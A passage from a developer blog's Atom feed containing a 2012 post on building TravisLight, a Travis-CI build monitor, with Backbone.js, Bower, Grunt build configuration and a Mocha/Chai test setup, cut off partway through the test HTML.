production machines in factories, using a &lt;a href=&quot;https://en.wikipedia.org/wiki/Model-based_testing&quot;&gt;model-based testing&lt;/a&gt; approach.
That’s a terrific challenge!&lt;/p&gt;

&lt;p&gt;I will also be teaching PHP and Symfony at &lt;a href=&quot;https://iut.uca.fr/&quot;&gt;IUT de Clermont-Fd&lt;/a&gt;.
Because I will be quite busy this year, I decided to close down my own company
and dedicate my free time to Open Source.&lt;/p&gt;

&lt;p&gt;Last but not the least, I wish you a &lt;strong&gt;Happy New Year&lt;/strong&gt; and &lt;strong&gt;all the best&lt;/strong&gt;
for 2013!&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>On being a frontend developer for a weekend</title>
        <link href="https://williamdurand.fr/2012/12/24/on-being-a-frontend-developer-for-a-weekend/"/>
        <updated>2012-12-24T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/12/24/on-being-a-frontend-developer-for-a-weekend</id>
        <content type="html">&lt;p&gt;Two weeks ago, I open-sourced
&lt;a href=&quot;https://github.com/willdurand/TravisLight&quot;&gt;TravisLight&lt;/a&gt;, a build monitoring
tool – also known as a &lt;em&gt;build wall&lt;/em&gt; – for &lt;a href=&quot;https://travis-ci.org/&quot;&gt;Travis-CI&lt;/a&gt;.
That was a weekend project I did for fun but also to embrace frontend
development.&lt;/p&gt;

&lt;p&gt;When I was at Nelmio, I was mainly a backend dev, even though I worked on some
JavaScript stuff. I spent most of my time writing APIs for the frontend
developers, not JavaScript apps. That needed to change!&lt;/p&gt;

&lt;h2 id=&quot;the-beginning&quot;&gt;The beginning&lt;/h2&gt;

&lt;p&gt;I started to read Backbone Fundamentals as I wanted to learn
&lt;a href=&quot;https://backbonejs.org/&quot;&gt;Backbone.js&lt;/a&gt;. Backbone.js is a JavaScript framework
that offers a structure to write a web application.&lt;/p&gt;

&lt;p&gt;Since working on a project is the best way to learn, I decided to write a
Backbone.js application using the Travis-CI API. TravisLight – the project I
developed over a weekend – was something I always wanted in order to manage my
own open source projects. I needed a tool that was simple and clear. That was
the perfect project to start, especially for a weekend!&lt;/p&gt;

&lt;p&gt;Instead of using &lt;a href=&quot;https://underscorejs.org/&quot;&gt;Underscore.js&lt;/a&gt;, I used
&lt;a href=&quot;https://lodash.com/&quot;&gt;Lo-Dash&lt;/a&gt;, an alternative to Underscore.js delivering
consistency, customization, performance, and extra features as they say. I also
used &lt;a href=&quot;https://requirejs.org/&quot;&gt;RequireJS&lt;/a&gt; and &lt;a href=&quot;https://momentjs.com/&quot;&gt;Moment.js&lt;/a&gt;.
In order to manage all these dependencies, I needed a tool: Bower (from Twitter)
looked like the right tool.&lt;/p&gt;

&lt;h2 id=&quot;bower-a-package-manager-for-the-web&quot;&gt;Bower, a package manager for the web&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/twitter/bower&quot;&gt;Bower&lt;/a&gt; is a package manager for the web (i.e.
for JS/CSS libraries). Even if it is more a package downloader for now, it’s
worth using it to avoid putting libraries in git directly.&lt;/p&gt;

&lt;p&gt;Bower relies on a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;component.json&lt;/code&gt; file that looks like this:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;travis-light&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dependencies&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;jquery&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;~1.8.3&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bower install&lt;/code&gt; will install the dependencies into a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;components/&lt;/code&gt;
folder. To add a new library, we can run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bower install &amp;lt;lib&amp;gt; --save&lt;/code&gt; to install
it. This command will also update the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;component.json&lt;/code&gt; file automatically.&lt;/p&gt;

&lt;p&gt;At the beginning of the development phase, I needed a tool to perform some tasks
on my application like running &lt;a href=&quot;https://www.jshint.com/&quot;&gt;jshint&lt;/a&gt; or compiling my
files. I tried Grunt, a build tool written in JavaScript, and it turned out to
be a good choice.&lt;/p&gt;

&lt;h2 id=&quot;grunt-the-javascript-build-tool&quot;&gt;Grunt, the JavaScript build tool&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://gruntjs.com/&quot;&gt;Grunt&lt;/a&gt; is a task-based command line build tool for
JavaScript projects. At first glance, this tool seems hard to use but once you
get it, it’s magic! You can &lt;em&gt;lint&lt;/em&gt; your files, &lt;em&gt;minify&lt;/em&gt; your JS/CSS files, &lt;em&gt;run&lt;/em&gt;
the test suite, and so on.&lt;/p&gt;

&lt;p&gt;In TravisLight, I mainly used Grunt to package the application. This includes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;compiling the JavaScript files&lt;/li&gt;
  &lt;li&gt;compiling the CSS files&lt;/li&gt;
  &lt;li&gt;using the compiled files into the HTML markup&lt;/li&gt;
  &lt;li&gt;copying the required libraries&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks to the
&lt;a href=&quot;https://github.com/gruntjs/grunt-contrib-requirejs&quot;&gt;grunt-contrib-requirejs&lt;/a&gt;
plugin, compiling the JavaScript files is straightforward:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;requirejs:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;compile:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;options:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;name:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;main&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;baseUrl:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;js/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;mainConfigFile:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;js/main.js&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;out:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;dist/compiled.js&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Compiling the CSS files in TravisLight is a two-step task. First, all the images
in the CSS have to be embedded using the
&lt;a href=&quot;https://github.com/ehynds/grunt-image-embed&quot;&gt;grunt-image-embed&lt;/a&gt; plugin:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;imageEmbed:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;application:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;src:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;css/application.css&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;dest:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;dist/application-embed.css&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;deleteAfterEncoding&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, the CSS files are minified using the
&lt;a href=&quot;https://github.com/gruntjs/grunt-contrib-mincss/&quot;&gt;grunt-contrib-mincss&lt;/a&gt; plugin:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;mincss:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;compress:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;files:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;dist/compiled.css&apos;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;css/bootstrap.min.css&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;dist/application-embed.css&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At this point, the last task is compiling the HTML to use the JS and CSS
compiled files. This is achieved by using the
&lt;a href=&quot;https://github.com/changer/grunt-targethtml&quot;&gt;grunt-targethtml&lt;/a&gt; plugin:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;targethtml:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;dist:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;src:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;index.html&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;dest:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;dist/index.html&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.html&lt;/code&gt; file looks like:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;lang=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;en&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  ...

  &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;data-api-url=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://api.travis-ci.org&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;&amp;lt;!--(if target dist)&amp;gt;
    &amp;lt;script data-main=&quot;compiled&quot; src=&quot;js/require.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;!(endif)--&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;&amp;lt;!--(if target dummy)&amp;gt;&amp;lt;!--&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;data-main=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;js/main&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;components/requirejs/require.js&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;&amp;lt;!--&amp;lt;!(endif)--&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;target dummy&lt;/code&gt; (the default) loads the code in development. This is a nice way
to keep a single HTML file with the ability to switch from development to
production (or whatever environment you want). That was an issue I was unable to
solve until I found this plugin!&lt;/p&gt;

&lt;p&gt;Last but not least, the
&lt;a href=&quot;https://github.com/gruntjs/grunt-contrib-copy/&quot;&gt;grunt-contrib-copy&lt;/a&gt; plugin is
used to copy some important files to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dist/&lt;/code&gt; folder (which is where the
final build of the application is located):&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;copy:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;dist:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;files:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;dist/js/require.js&apos;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&apos;components/requirejs/require.js&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grunt package&lt;/code&gt; performs all these tasks. See the TravisLight’s
&lt;a href=&quot;https://github.com/willdurand/TravisLight/blob/master/grunt.js&quot;&gt;grunt.js&lt;/a&gt; file
for more details, especially the aliases.&lt;/p&gt;

&lt;p&gt;With a great build system and lots of code written already, I needed to write
tests so I looked at some of the existing JavaScript testing libraries. I
already knew &lt;a href=&quot;https://qunitjs.com/&quot;&gt;QUnit&lt;/a&gt; but I wanted to use something
different. I ended up using &lt;a href=&quot;https://mochajs.org/&quot;&gt;Mocha&lt;/a&gt; and
&lt;a href=&quot;https://chaijs.com/&quot;&gt;Chai&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;testing-a-backbonejs-application&quot;&gt;Testing a Backbone.js application&lt;/h2&gt;

&lt;p&gt;In the JavaScript world, there are plenty of testing libraries such as
&lt;a href=&quot;https://qunitjs.com/&quot;&gt;QUnit&lt;/a&gt;, &lt;a href=&quot;https://mochajs.org/&quot;&gt;Mocha&lt;/a&gt;, Jasmine,
&lt;a href=&quot;https://chaijs.com/&quot;&gt;Chai&lt;/a&gt;, &lt;a href=&quot;https://sinonjs.org/&quot;&gt;Sinon.js&lt;/a&gt;,
&lt;a href=&quot;https://github.com/Automattic/expect.js&quot;&gt;Expect.js&lt;/a&gt;,
&lt;a href=&quot;https://github.com/tj/should.js&quot;&gt;Should.js&lt;/a&gt;, and a lot more that I probably
don’t even know.&lt;/p&gt;

&lt;p&gt;As I wrote before, I used Mocha and Chai. These libraries can be installed using
&lt;a href=&quot;https://npmjs.org/&quot;&gt;npm&lt;/a&gt; (the &lt;a href=&quot;https://nodejs.org/&quot;&gt;Node.js&lt;/a&gt; package manager).
This tool uses a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; file to define both the “normal” and “dev”
dependencies:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;TravisLight&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0.0.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dependencies&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;devDependencies&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mocha&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;~1.7.4&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;chai&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;~1.4.0&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node_modules/&lt;/code&gt; directory contains the different packages specified in this
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; file and installed by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm install&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;From there, I created a new file (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test/index.html&lt;/code&gt;) that executes the test
suite in a browser:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;meta&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;charset=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;TravisLight Test Suite&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rel=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;stylesheet&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;../node_modules/mocha/mocha.css&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;mocha&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;../node_modules/chai/chai.js&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;../node_modules/mocha/mocha.js&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;../components/jquery/jquery.min.js&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;../components/requirejs/require.js&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;setup.js&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
